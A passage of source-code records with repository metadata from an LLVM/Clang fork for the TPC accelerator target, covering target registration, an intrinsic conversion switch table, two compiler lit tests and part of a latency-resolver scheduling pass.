&S, const MCSubtargetInfo &STI) {\n return new TPCTargetELFStreamer(S);\n}\n*/\n\nstatic cl::opt<int> TPCAsmFormat(\n \"tpc-asm-format\", cl::Hidden, cl::ZeroOrMore,\n cl::init(TPCInstPrinter::InstructionPerLineNoNops),\n cl::desc(\n \"Asm output format:\\n\"\n \" 0 - one line per instruction, NOPs are skipped\\n\"\n \" 1 - one line per instruction, all slots\\n\"\n \" 2 - in a single row, separated by ';'\\n\"\n \" 3 - in a single row, separated by ';' + TpcAsmParse Compatible\"));\n\nstatic MCTargetStreamer *createTargetAsmStreamer(MCStreamer &S,\n formatted_raw_ostream &OS,\n MCInstPrinter *InstPrint,\n bool isVerboseAsm) {\n // Use this callback to tune TPCInstPrinter differently for Assembler\n // and Disassembler.\n auto TPCPrinter = static_cast<TPCInstPrinter *>(InstPrint);\n TPCPrinter->setFormat(TPCAsmFormat);\n bool hasPercentPrefix =\n (TPCAsmFormat == TPCInstPrinter::TpcAsmParseCompatible) ? false : true;\n TPCPrinter->setHasPercentPrefix(hasPercentPrefix);\n return nullptr;\n}\n\nstatic MCInstPrinter *createTPCMCInstPrinter(const Triple &T,\n unsigned SyntaxVariant,\n const MCAsmInfo &MAI,\n const MCInstrInfo &MII,\n const MCRegisterInfo &MRI) {\n return new TPCInstPrinter(MAI, MII, MRI);\n}\n\nextern \"C\" void LLVMInitializeTPCTargetMC() {\n // Register the MC asm info.\n RegisterMCAsmInfoFn X(TheTPCTarget, createTPCMCAsmInfo);\n\n // Register the MC instruction info.\n TargetRegistry::RegisterMCInstrInfo(TheTPCTarget, createTPCMCInstrInfo);\n\n // Register the MC register info.\n TargetRegistry::RegisterMCRegInfo(TheTPCTarget, createTPCMCRegisterInfo);\n\n // Register the MC subtarget info.\n TargetRegistry::RegisterMCSubtargetInfo(TheTPCTarget, createTPCMCSubtargetInfo);\n\n // Register the MC Code Emitter.\n TargetRegistry::RegisterMCCodeEmitter(TheTPCTarget, createTPCMCCodeEmitter);\n\n // Register the asm backend.\n TargetRegistry::RegisterMCAsmBackend(TheTPCTarget, createTPCAsmBackend);\n\n // Register the object target streamer.\n //TargetRegistry::RegisterObjectTargetStreamer(TheTPCTarget,\n // createObjectTargetStreamer);\n\n // Register the asm streamer.\n TargetRegistry::RegisterAsmTargetStreamer(TheTPCTarget, createTargetAsmStreamer);\n\n // Register the MCInstPrinter\n TargetRegistry::RegisterMCInstPrinter(TheTPCTarget, createTPCMCInstPrinter);\n}\n" }, { "alpha_fraction": 0.5872620344161987, "alphanum_fraction": 0.6211468577384949, "avg_line_length": 35.168033599853516, "blob_id": "394c64360a836f723c00f7dc24a8b818ac17e130", "content_id": "e018c97eddac476bb3200576acf1e73a6f976af7", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 8824, "license_type": "permissive", "max_line_length": 80, "num_lines": 244, "path": "/llvm/lib/Transforms/Utils/TPCIntrinsicUtils.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===-TPCIntrinsicUtils.cpp-----------------------------------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// Defines intrinsics API and helper function to access instruction switches\n// from switche table for middle end.It can be extended as need be.\n//\n//===----------------------------------------------------------------------===//\n\n#include \"llvm/IR/IRBuilder.h\"\n#include \"llvm/Transforms/Utils/TPCIntrinsicUtils.h\"\n#include \"llvm/IR/Instructions.h\"\n#include \"llvm/IR/IntrinsicsTPC.h\"\n#include \"../lib/Target/TPC/MCTargetDesc/InstructionDB.h\"\n\nnamespace llvm {\n\nenum ValueType : uint8_t {\n\n INVALID_VALUE_TYPE = 0,\n\n Other = 1, // This is a non-standard value\n i1 = 2, // This is a 1 bit integer value\n i8 = 3, // This is an 8 bit integer value\n i16 = 4, // This is a 16 bit integer value\n i32 = 5, // This is a 32 bit integer value\n i64 = 6, // This is a 64 bit integer value\n i128 = 7, // This is a 128 bit integer value\n\n f16 = 8, // This is a 16 bit floating point value\n bf16 = 9, // BFloat16\n f32 = 10, // This is a 32 bit floating point value\n f64 = 11 // This is a 64 bit floating point value\n};\n\n// POD for defining switch table for convert intrinsics\nstruct SwitchTbl {\n ValueType SrcType;\n ValueType DstType;\n unsigned SW1;\n unsigned SW2;\n};\n\n// Populate swithes for all supported combinations of source and destination\n// type.\nstatic SwitchTbl SwTbl[] = {\n // FPTrunc/FPTExt: for specific rounding mode\n {ValueType::f32, ValueType::bf16, TPCII::SW_FP32,\n TPCII::SW_TO_BF16 | TPCII::SW_CSR | TPCII::SW_LANE_0 |\n TPCII::SW_SINGLE_LANE},\n\n {ValueType::f32, ValueType::f16, TPCII::SW_FP32,\n TPCII::SW_TO_FP16 | TPCII::SW_CSR | TPCII::SW_LANE_0 |\n TPCII::SW_SINGLE_LANE},\n\n {ValueType::bf16, ValueType::f32, TPCII::SW_BF16,\n TPCII::SW_TO_FP32 | TPCII::SW_CSR | TPCII::SW_LANE_0 |\n TPCII::SW_ALL_LANES},\n\n {ValueType::f16, ValueType::f32, TPCII::SW_FP16,\n TPCII::SW_TO_FP32 | TPCII::SW_CSR | TPCII::SW_LANE_0 |\n TPCII::SW_ALL_LANES},\n\n // FPToSI/FPToUI: for specific rounding mode\n {ValueType::f32, ValueType::i8, TPCII::SW_FP32,\n TPCII::SW_TO_INT8 | TPCII::SW_CSR | TPCII::SW_LANE_0 |\n TPCII::SW_ALL_LANES},\n\n {ValueType::f32, ValueType::i16, TPCII::SW_FP32,\n TPCII::SW_TO_INT16 | TPCII::SW_CSR | TPCII::SW_LANE_0 |\n TPCII::SW_ALL_LANES},\n\n {ValueType::f32, ValueType::i32, TPCII::SW_FP32,\n TPCII::SW_TO_INT32 | TPCII::SW_CSR | TPCII::SW_LANE_0 |\n TPCII::SW_ALL_LANES},\n\n {ValueType::bf16, ValueType::i16, TPCII::SW_BF16,\n TPCII::SW_TO_INT16 | TPCII::SW_CSR | TPCII::SW_LANE_0 |\n TPCII::SW_ALL_LANES},\n\n {ValueType::f16, ValueType::i16, TPCII::SW_FP16,\n TPCII::SW_TO_INT16 | TPCII::SW_CSR | TPCII::SW_LANE_0 |\n TPCII::SW_ALL_LANES},\n\n // SIToFP/UIToFP: for specific rounding mode\n {ValueType::i32, ValueType::f32, TPCII::SW_INT32,\n TPCII::SW_TO_FP32 | TPCII::SW_CSR | TPCII::SW_LANE_0 |\n TPCII::SW_ALL_LANES},\n {ValueType::i32, ValueType::bf16, TPCII::SW_INT32,\n TPCII::SW_TO_BF16 | TPCII::SW_CSR | TPCII::SW_LANE_0 |\n TPCII::SW_ALL_LANES},\n\n {ValueType::i16, ValueType::f32, TPCII::SW_INT16,\n TPCII::SW_TO_FP32 | TPCII::SW_CSR | TPCII::SW_LANE_0 |\n TPCII::SW_ALL_LANES},\n {ValueType::i16, ValueType::bf16, TPCII::SW_INT16,\n TPCII::SW_TO_BF16 | TPCII::SW_CSR | TPCII::SW_LANE_0 |\n TPCII::SW_ALL_LANES},\n {ValueType::i16, ValueType::i32, TPCII::SW_INT16,\n TPCII::SW_TO_FP16 | TPCII::SW_CSR | TPCII::SW_LANE_0 |\n TPCII::SW_ALL_LANES},\n {ValueType::i16, ValueType::i8, TPCII::SW_INT16,\n TPCII::SW_TO_INT8 | TPCII::SW_CSR | TPCII::SW_LANE_0 |\n TPCII::SW_ALL_LANES},\n\n {ValueType::i8, ValueType::f32, TPCII::SW_INT8,\n TPCII::SW_TO_FP32 | TPCII::SW_CSR | TPCII::SW_LANE_0 |\n TPCII::SW_ALL_LANES},\n {ValueType::i8, ValueType::i32, TPCII::SW_INT8,\n TPCII::SW_TO_INT32 | TPCII::SW_CSR | TPCII::SW_LANE_0 |\n TPCII::SW_ALL_LANES},\n {ValueType::i8, ValueType::i16, TPCII::SW_INT8,\n TPCII::SW_TO_INT16 | TPCII::SW_CSR | TPCII::SW_LANE_0 |\n TPCII::SW_ALL_LANES},\n\n {ValueType::i8, ValueType::f32, TPCII::SW_INT8,\n TPCII::SW_TO_FP32 | TPCII::SW_CSR | TPCII::SW_LANE_0 |\n TPCII::SW_ALL_LANES},\n {ValueType::i8, ValueType::i32, TPCII::SW_INT8,\n TPCII::SW_TO_INT32 | TPCII::SW_CSR | TPCII::SW_LANE_0 |\n TPCII::SW_ALL_LANES},\n {ValueType::i8, ValueType::i16, TPCII::SW_INT8,\n TPCII::SW_TO_INT16 | TPCII::SW_CSR | TPCII::SW_LANE_0 |\n TPCII::SW_ALL_LANES},\n\n {ValueType::i16, ValueType::bf16, TPCII::SW_INT16,\n TPCII::SW_TO_BF16 | TPCII::SW_CSR | TPCII::SW_LANE_0 |\n TPCII::SW_ALL_LANES}};\n\n// Get the tpc intrinsic corresponding to \\p IDNum and \\p FType.\nstatic std::string getTPCIntrinsicName(Intrinsic::ID IDNum,\n FunctionType *FType) {\n SmallVector<Intrinsic::IITDescriptor, 8> Table;\n Intrinsic::getIntrinsicInfoTableEntries(IDNum, Table);\n ArrayRef<Intrinsic::IITDescriptor> TableRef = Table;\n (void)TableRef;\n SmallVector<Type *, 4> ArgTys;\n Intrinsic::matchIntrinsicSignature(FType, TableRef, ArgTys);\n return Intrinsic::getName(IDNum, ArgTys);\n}\n\n// Lookup API for accessing switches based on \\p SrcType and \\p DstType.\nstatic const SwitchTbl *SwitchTableLookup(ArrayRef<SwitchTbl> Tbl,\n ValueType SrcType,\n ValueType DstType) {\n auto I = find_if(Tbl, [=](const SwitchTbl &Entry) {\n return SrcType == Entry.SrcType && DstType == Entry.DstType;\n });\n if (I != Tbl.end())\n return I;\n\n // Could not find an entry.\n return nullptr;\n}\n\nstatic ValueType getIntegerVT(unsigned BitWidth) {\n switch (BitWidth) {\n default:\n return ValueType::INVALID_VALUE_TYPE;\n case 1:\n return ValueType::i1;\n case 8:\n return ValueType::i8;\n case 16:\n return ValueType::i16;\n case 32:\n return ValueType::i32;\n case 64:\n return ValueType::i64;\n case 128:\n return ValueType::i128;\n }\n}\n\nstatic ValueType getVT(Type *Ty) {\n switch (Ty->getTypeID()) {\n default:\n llvm_unreachable(\"Unknown type!\");\n case Type::IntegerTyID:\n return getIntegerVT(cast<IntegerType>(Ty)->getBitWidth());\n case Type::BFloat16ID:\n return ValueType::bf16;\n case Type::HalfTyID:\n return ValueType::f16;\n case Type::FloatTyID:\n return ValueType::f32;\n case Type::DoubleTyID:\n return ValueType::f64;\n }\n}\n\n// Creates the required intrinsic instruction corresponding the instruction \\p\n// InstrToReplace.\\p Switch is used to supply rounding mode switch to be encoded\n// in assembly instruction.\nCallInst *createConvertIntrinsic(Instruction *InstrToReplace,\n unsigned int Switch = 0) {\n auto &Context = InstrToReplace->getParent()->getContext();\n IRBuilder<> Builder(InstrToReplace);\n IntegerType *I1Type = Type::getInt1Ty(Context);\n IntegerType *I8Type = Type::getInt8Ty(Context);\n IntegerType *I32Type = Type::getInt32Ty(Context);\n\n // Define source and result type\n Value *Operand = InstrToReplace->getOperand(0);\n Type *FromType = Operand->getType();\n Type *ToType = InstrToReplace->getType();\n\n // Get switch entry corresponding to \\p SrcTy and \\p DstTy\n ValueType SrcTy = getVT(FromType->getScalarType());\n ValueType DstTy = getVT(ToType->getScalarType());\n auto *Entry = SwitchTableLookup(SwTbl, SrcTy, DstTy);\n\n // Define intrinsic signature\n SmallVector<Type *, 7> ArgTypes{FromType, I8Type, I32Type,\n ToType, I1Type, I1Type};\n FunctionType *FType = FunctionType::get(ToType, ArgTypes, false);\n\n // Define intrinsic function\n Function *Intrinsic = cast<Function>(\n InstrToReplace->getModule()\n ->getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_convert, FType), FType)\n .getCallee());\n\n // Create intrinsic call\n auto *Call = Builder.CreateCall(\n Intrinsic,\n {InstrToReplace->getOperand(0), // Src\n llvm::ConstantInt::get(IntegerType::get(Context, 8),\n Entry->SW1), // Operand Type\n llvm::ConstantInt::get(IntegerType::get(Context, 32),\n Entry->SW2 | Switch), // Switches\n UndefValue::get(ToType), // Income\n llvm::ConstantInt::get(Type::getInt1Ty(Context), 1), // Predicate\n llvm::ConstantInt::getFalse(Context)}); // Polarity\n\n return Call;\n}\n\n} // namespace llvm" }, { "alpha_fraction": 0.5573770403862, "alphanum_fraction": 0.6590163707733154, "avg_line_length": 42.57143020629883, "blob_id": "419e8cac81411a69bab94051ba093f6e2a9d80ee", "content_id": "4063e3c2ada45a87df4e650670d41b40facb6955", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 915, "license_type": "permissive", "max_line_length": 99, "num_lines": 21, "path": "/clang/test/RC99/driver/driver-02.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: not %clang -std=rc99 -target tpc -max-tensors 10 -S -emit-llvm %s -o - 2>&1 | FileCheck %s\n\nvoid main(\n tensor t0, tensor t1, tensor t2, tensor t3, tensor t4, tensor t5, tensor t6, tensor t7,\n tensor t8, tensor t9, tensor t10, tensor t11, // expected-error{{too many tensors are declared}}\n int arg0, int arg1, int arg2, int arg3, int arg4,\n int arg5, int arg6, int arg7, int arg8, int arg9,\n int arg10, int arg11, int arg12, int arg13, int arg14,\n int arg15, int arg16, int arg17, int arg18, int arg19,\n int arg20, int arg21, int arg22, int arg23, int arg24,\n int arg25, int arg26, int arg27, int arg28, int arg29,\n int arg30, int arg31, int arg32, int arg33, float float34\n) {\n int __local *ptr[] = { (int __local *)arg0,(int __local *)arg1 };\n *ptr[0] = arg32;\n *ptr[1] = arg33;\n int __local *ptr1 = (int __local *)arg2;\n *ptr1 = float34;\n}\n\n// CHECK: error: too many tensors are declared\n" }, { "alpha_fraction": 0.450549453496933, "alphanum_fraction": 0.5686812996864319, "avg_line_length": 32.09090805053711, "blob_id": "8275ab81b672007ba53ae1034704ee6783432afa", "content_id": "cbd2142d5851d1c76a2e8b6ee9eb364523da810d", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 364, "license_type": "permissive", "max_line_length": 78, "num_lines": 11, "path": "/clang/test/RC99/CodeGen/set_index-04.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n\nvoid main(int src) {\n int64 val = src;\n int5 storeCoord = { 11, 11, 22, 22, 22 };\n i32_st_tnsr_i_v_b(storeCoord, 1, val, 1, 0);\n}\n\n// CHECK: set_indx [[REGI:%I[0-9]+]], b00011, 0xb, %SP0\n// CHECK: set_indx [[REGI]], b11100, 0x16, %SP0\n// CHECK: st_tnsr 0x1, [[REGI]], %V{{[0-9]+}}\n" }, { "alpha_fraction": 0.5548367500305176, "alphanum_fraction": 0.5609179735183716, "avg_line_length": 32.37176513671875, "blob_id": "bc2123a6a4433807ca9298758ec6438db8e8cbe2", "content_id": "d0860f5fe1bf8d05b0c8a0fd6d3af509eabe7444", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 56736, "license_type": "permissive", "max_line_length": 130, "num_lines": 1700, "path": "/llvm/lib/Target/TPC/TPCLatencyResolver.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- TPCLatencyResolver.cpp ---- Latency Resolver for TPC ---------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n//===----------------------------------------------------------------------===//\n\n#include \"TPCInstrInfo.h\"\n#include \"TPCSubtarget.h\"\n#include \"MCTargetDesc/TPCMCTargetDesc.h\"\n#include \"TPCMachineScheduler.h\"\n#include \"llvm/InitializePasses.h\"\n#include \"llvm/CodeGen/MachineLoopInfo.h\"\n#include \"llvm/CodeGen/MachineScheduler.h\"\n#include \"llvm/CodeGen/ScheduleDAGMutation.h\"\n#include \"llvm/CodeGen/MachineRegisterInfo.h\"\n#include \"llvm/CodeGen/MachineInstr.h\"\n#include \"llvm/CodeGen/MachineInstrBuilder.h\"\n#include \"llvm/CodeGen/TargetRegisterInfo.h\"\n#include \"llvm/Support/Debug.h\"\n\nusing namespace llvm;\n\n#define DEBUG_TYPE \"tpclatresolver\"\n\n#define TPC_MAX_LATENCY 7\n\nstatic cl::opt<int> TPCNumDebugNops(\"tpc-debug-nops\", cl::Hidden,\n cl::ZeroOrMore, cl::init(0),\n cl::desc(\"TPC debug mode (insert unconditional NOPs before every instr)\"));\n\nstatic cl::opt<bool> DisableDelaySlotUtilization(\"tpc-disable-delay-slot-utilization\", cl::Hidden,\n cl::ZeroOrMore, cl::init(false),\n cl::desc(\"Disable loop delay slot utilization\"));\n\n// LLVM-425 ld_tnsr cannot be scheduled at 4 cycle after st_tnsr\nstatic cl::opt<bool> EnableLdTnsrWorkaround(\"tpc-ld-tnsr-workaround\", cl::Hidden,\n cl::init(true),\n cl::desc(\"Ensure ld_tnsr is not scheduled at 4 cycle after st_tnsr\"));\n\nnamespace llvm {\n FunctionPass *createTPCLatencyResolver();\n void initializeTPCLatencyResolverPass(PassRegistry&);\n}\n\nnamespace {\n\nclass TPCLatencyResolver : public MachineFunctionPass {\n\npublic:\n static char ID;\n TPCLatencyResolver() : MachineFunctionPass(ID) {\n MLI = nullptr;\n MF = nullptr;\n ItinData = nullptr;\n TII = nullptr;\n TRI = nullptr;\n };\n void getAnalysisUsage(AnalysisUsage &AU) const override;\n bool runOnMachineFunction(MachineFunction &Fn) override;\n\nprivate:\n MachineLoopInfo * MLI;\n MachineFunction * MF;\n const InstrItineraryData * ItinData;\n const TargetInstrInfo * TII;\n const TargetRegisterInfo * TRI;\n\n int getRequiredDistance(const MachineInstr& DefMI, const MachineInstr& UseMI ,int curDistance);\n int getBBCycles(MachineBasicBlock* MBB, MachineBasicBlock* Succ, bool ignore_loop_instr);\n void insertDebugNops(MachineBasicBlock& MBB, int numPreNops);\n void fixSmallLoops(MachineBasicBlock& MBB);\n void fillLoopDelaySlot(MachineBasicBlock& MBB);\n void ensureLoopEndAndJmpLatency(MachineBasicBlock& MBB);\n bool resolveBlockLatency(MachineBasicBlock& MBB, bool check_only = false, bool ignore_loop_instr = false);\n bool resolveFunctionLatency(MachineFunction &MF);\n bool resolveCrossBlockLatency(MachineBasicBlock& MBB,\n bool topdown = false,\n bool deep = false,\n bool check_only = false,\n bool ignore_loop_instr = false);\n bool resolveCrossBlockLatency(MachineBasicBlock& MBB,\n MachineBasicBlock* PredMBB,\n bool topdown,\n bool deep,\n int distance,\n bool check_only,\n bool ignore_loop_instr,\n\t\t\t\tstd::vector<const MachineBasicBlock*> ProcessedBB);\n int getRequiredBBDistance(MachineBasicBlock* PBB,\n\t\t\t\tMachineBasicBlock* SBB,\n\t\t\t\tbool ignore_loop_instr);\n\n bool isLoopTaken(const MachineInstr *MI);\n};\n\n}\n\nchar TPCLatencyResolver::ID = 0;\n\nINITIALIZE_PASS_BEGIN(TPCLatencyResolver, \"tpclatresolver\", \"TPC Latency Resolver\", false, false)\n INITIALIZE_PASS_DEPENDENCY(MachineDominatorTree)\n INITIALIZE_PASS_DEPENDENCY(MachineBranchProbabilityInfo)\n INITIALIZE_PASS_DEPENDENCY(MachineLoopInfo)\n INITIALIZE_PASS_DEPENDENCY(MachineScheduler)\nINITIALIZE_PASS_END(TPCLatencyResolver, \"tpclatresolver\", \"TPC Latency Resolver\", false, false)\n\n\nnamespace llvm {\nFunctionPass* createTPCLatencyResolver() {\n return new TPCLatencyResolver();\n}\n}\n\n//\n// isHaltInstr: returns true if MI is a HALT instruction\n//\nstatic bool isHaltInstr(const MachineInstr* MI) {\n if (MI->isBundle()) {\n const MachineBasicBlock* MBB = MI->getParent();\n MachineBasicBlock::const_instr_iterator MII = MI->getIterator();\n for (++MII; MII != MBB->instr_end() && MII->isInsideBundle(); ++MII) {\n const MachineInstr& BMI = *MII;\n\tif (isHaltInstr(&BMI))\n\t return true;\n }\n }\n else {\n\tif ((MI->getOpcode() == TPC::HALTs) || (MI->getOpcode() == TPC::HALTv)) {\n\t return true;\n\t}\n }\n return false;\n}\n\n//\n// isNopInstr: returns true if MI is a full NOP instruction\n//\nstatic bool isNopInstr(const MachineInstr *MI) {\n if (MI->isBundle()) {\n const MachineBasicBlock* MBB = MI->getParent();\n MachineBasicBlock::const_instr_iterator MII = MI->getIterator();\n for (++MII; MII != MBB->instr_end() && MII->isInsideBundle(); ++MII) {\n const MachineInstr& BMI = *MII;\n if (!isNopInstr(&BMI)) {\n return false;\n }\n }\n return true;\n }\n else {\n if (MI->getOpcode() == TPC::NOPv ||\n MI->getOpcode() == TPC::NOPs ||\n MI->getOpcode() == TPC::NOPld ||\n MI->getOpcode() == TPC::NOPst) {\n return true;\n }\n }\n return false;\n}\n\n//\n// isJmpInstr: returns true if MI is a JMP instruction, or if it is a bundle instruction.\n// containing JMP. \n//\nstatic bool isJmpInstr(const MachineInstr *MI) {\n if (MI->isBundle()) {\n const MachineBasicBlock* MBB1 = MI->getParent();\n MachineBasicBlock::const_instr_iterator MII = MI->getIterator();\n for (++MII; MII != MBB1->instr_end() && MII->isInsideBundle(); ++MII) {\n const MachineInstr& BMI = *MII;\n if (isJmpInstr(&BMI))\n return true;\n }\n return false;\n }\n\n return MI->getOpcode() == TPC::JMPR || MI->getOpcode() == TPC::JMPR_u;\n}\n\n//\n// isStartLoopBlock: returns true MBB is a block that starts HW loop. \n//\nstatic bool isStartLoopBlock(MachineBasicBlock& MBB) {\n MachineInstr& MI = *(--(MBB.end()));\n if (TPCII::isLoopInst(MI.getDesc()) && (MI.getOpcode() != TPC::LOOPEND)) {\n return true;\n }\n return false;\n}\n\n//\n// getJmpDest: returns BB, which is a destination of JMP instruction MI. \n//\nstatic MachineBasicBlock* getJmpDest(const MachineInstr *MI) {\n if (MI->isBundle()) {\n\tconst MachineBasicBlock* MBB1 = MI->getParent();\n\tMachineBasicBlock::const_instr_iterator MII = MI->getIterator();\n\tfor (++MII; MII != MBB1->instr_end() && MII->isInsideBundle(); ++MII) {\n const MachineInstr& BMI = *MII;\n if (isJmpInstr(&BMI) && BMI.getOperand(0).isMBB()) {\n return BMI.getOperand(0).getMBB();\n }\n\t}\n }\n else {\n if (isJmpInstr(MI) && MI->getOperand(0).isMBB()) {\n return MI->getOperand(0).getMBB();\n\t}\n }\n return nullptr;\n}\n\n#ifndef NDEBUG\n//\n// printMI: debug print of MI instruction. If MI is a bundle prints all instructions\n// in that bundle (excluding NOPs)\n//\nstatic void printMI(MachineInstr *MI) {\n if (MI->isBundle()) {\n const MachineBasicBlock* MBB = MI->getParent();\n MachineBasicBlock::const_instr_iterator MII = MI->getIterator();\n for (++MII; MII != MBB->instr_end() && MII->isInsideBundle(); ++MII) {\n const MachineInstr& DefMI = *MII;\n if (!isNopInstr(&DefMI)) {\n dbgs() << \" \" << DefMI;\n }\n }\n }\n else {\n dbgs() << \" \" << *MI;\n }\n}\n#endif\n\nstatic bool isUsingSrcD(const MachineInstr *MI, const InstrItineraryData * ItinData) {\n unsigned idx = MI->getDesc().getSchedClass();\n\n if (idx == TPC::Sched::IIC_VectorComplexOp) {\n return true;\n }\n\n return false;\n}\n\nvoid TPCLatencyResolver::getAnalysisUsage(AnalysisUsage &AU) const {\n AU.setPreservesCFG();\n AU.addRequired<MachineLoopInfo>();\n MachineFunctionPass::getAnalysisUsage(AU);\n}\n\nbool TPCLatencyResolver::runOnMachineFunction(MachineFunction &Fn) {\n MF = &Fn;\n TII = Fn.getSubtarget().getInstrInfo();\n ItinData = Fn.getSubtarget().getInstrItineraryData();\n TRI = Fn.getSubtarget().getRegisterInfo();\n MLI = &getAnalysis<MachineLoopInfo>();\n TRI = Fn.getSubtarget().getRegisterInfo();\n\n LLVM_DEBUG(dbgs() << \"\\n\\n*** TPC Latency Resolver\\n\\n\");\n\n for (auto &MBB : Fn) {\n LLVM_DEBUG(dbgs() << \"Processing BB#\" << MBB.getNumber() << \"\\n\");\n if (MBB.empty()) {\n continue;\n }\n if (TPCNumDebugNops) {\n insertDebugNops(MBB, TPCNumDebugNops);\n }\n else {\n resolveBlockLatency(MBB);\n fixSmallLoops(MBB);\n }\n }\n\n if (TPCNumDebugNops) {\n return true;\n } else\n resolveFunctionLatency(Fn);\n\n for (auto &MBB : Fn) {\n if (!MBB.empty()) {\n resolveCrossBlockLatency(MBB);\n }\n }\n\n for (auto &MBB : Fn) {\n if (!MBB.empty()) {\n resolveCrossBlockLatency(MBB, false, true);\n }\n }\n\n for (auto &MBB : Fn) {\n if (!MBB.empty()) {\n fillLoopDelaySlot(MBB);\n }\n }\n\n for (auto &MBB : Fn) {\n if (!MBB.empty()) {\n ensureLoopEndAndJmpLatency(MBB);\n }\n }\n return true;\n}\n\nstatic bool getLoopTakenFromMetadata(const MDNode* LoopMD) {\n // First operand should refer to the loop id itself.\n assert(LoopMD->getNumOperands() > 0 && \"requires at least one operand\");\n\n MDNode *MD = nullptr;\n\n for (unsigned i = 1, e = LoopMD->getNumOperands(); i < e; ++i) {\n MD = dyn_cast<MDNode>(LoopMD->getOperand(i));\n if (!MD)\n continue;\n\n MDString *S = dyn_cast<MDString>(MD->getOperand(0));\n if (!S)\n continue;\n\n if (S->getString().equals(\"llvm.loop.taken\")) {\n assert(MD->getNumOperands() == 2 &&\n \"Loop taken hint metadata should have two operands.\");\n unsigned Count =\n mdconst::extract<ConstantInt>(MD->getOperand(1))->getZExtValue();\n return Count != 0;\n }\n }\n\n return false;\n}\n\nstatic bool ignoreInstr(MachineInstr *MI) {\n if (MI->isDebugValue())\n return true;\n if (MI->getOpcode() == TargetOpcode::IMPLICIT_DEF)\n return true;\n return false;\n}\n\nbool TPCLatencyResolver::isLoopTaken(const MachineInstr *MI) {\n assert(MI->getOpcode() == TPC::LOOPEND);\n\n if (MF->getSubtarget<TPCSubtarget>().getTargetLowering()->getTargetMachine().Options.AllLoopsTaken) {\n return true;\n }\n \n const MDNode* LoopMD = nullptr;\n\n if(MI->getOperand(MI->getNumOperands() - 5).isMetadata()) {\n LoopMD = MI->getOperand(MI->getNumOperands() - 5).getMetadata();\n }\n\n // Get info from pragma\n if (LoopMD)\n return getLoopTakenFromMetadata(LoopMD);\n return false;\n}\n\nstatic bool isFloatData(TPCII::OpType X) {\n switch (X) {\n case TPCII::OpType::BF16:\n case TPCII::OpType::FP32:\n return true;\n default:\n return false;\n }\n}\n\nstatic bool HasLookup(const MachineInstr &MI) {\n const MachineBasicBlock &MBB = *MI.getParent();\n MachineBasicBlock::const_instr_iterator MII = MI.getIterator();\n for (++MII; MII != MBB.instr_end() && MII->isInsideBundle(); ++MII) {\n const MachineInstr &BMI = *MII;\n const MCInstrDesc &BMID = BMI.getDesc();\n\n if (TPCII::isLoadInst(BMID) && TPCII::isLookup(BMID))\n return true;\n }\n\n return false;\n}\n\n// TODO: When a loop instruction will implicit-def only one iterator\n// register, use Reg argument.\nstatic bool HasLoopIter(const MachineInstr& MI/*, Register Reg*/) {\n assert(!MI.isBundle());\n for (unsigned i = 0; i < MI.getNumOperands(); ++i) {\n const MachineOperand &MO = MI.getOperand(i);\n if (!MO.isReg())\n continue;\n\n Register Reg = MO.getReg();\n if (Reg == TPC::S32 || Reg == TPC::S33 || Reg == TPC::S34 ||\n Reg == TPC::S35)\n return true;\n }\n\n return false;\n}\n\nstatic MachineBasicBlock * GetPrevNonEmptyMBB(const MachineBasicBlock *MBB) {\n assert(MBB);\n MachineBasicBlock *LayoutPred = nullptr;\n for(MachineBasicBlock *PredMBB : MBB->predecessors()) {\n if (PredMBB && PredMBB->isLayoutSuccessor(MBB))\n LayoutPred = PredMBB;\n }\n\n if (!LayoutPred)\n return LayoutPred;\n else if (!LayoutPred->empty())\n return LayoutPred;\n else\n return GetPrevNonEmptyMBB(LayoutPred);\n}\n\n//\n// getRequiredDistance ()\n// Returns the distance (in cycles) between two bundle instructions, which is required\n// due to latency rules and other HW restrictions.\n//\nint TPCLatencyResolver::getRequiredDistance(const MachineInstr& DefMI,\n const MachineInstr& UseMI,\n int curDistance) {\n int alatency = 0;\n std::vector<const MachineInstr*> DefInstrs;\n std::vector<const MachineInstr*> UseInstrs;\n\n // Needed for EnableLdTnsrGaudiWorkaround\n bool defHasStTnsr = false;\n bool useHasLdTnsr = false;\n bool needLdTnsrWorkaround = false;\n\n if (curDistance <= 4 && EnableLdTnsrWorkaround) {\n needLdTnsrWorkaround = true;\n }\n\n // Collect all instructions from DefMI bundle\n //\n DefInstrs.clear();\n if (DefMI.isBundle()) {\n const MachineBasicBlock* MBB = DefMI.getParent();\n MachineBasicBlock::const_instr_iterator MII = DefMI.getIterator();\n for (++MII; MII != MBB->instr_end() && MII->isInsideBundle(); ++MII) {\n const MachineInstr& BMI = *MII;\n DefInstrs.push_back(&BMI);\n }\n }\n else {\n DefInstrs.push_back(&DefMI);\n }\n \n // Collect all instructions from UseMI bundle\n //\n UseInstrs.clear();\n if (UseMI.isBundle()) {\n const MachineBasicBlock* MBB = UseMI.getParent();\n MachineBasicBlock::const_instr_iterator MII = UseMI.getIterator();\n for (++MII; MII != MBB->instr_end() && MII->isInsideBundle(); ++MII) {\n const MachineInstr& BMI = *MII;\n UseInstrs.push_back(&BMI);\n }\n } else {\n UseInstrs.push_back(&UseMI);\n }\n\n // Check for latencies\n //\n for 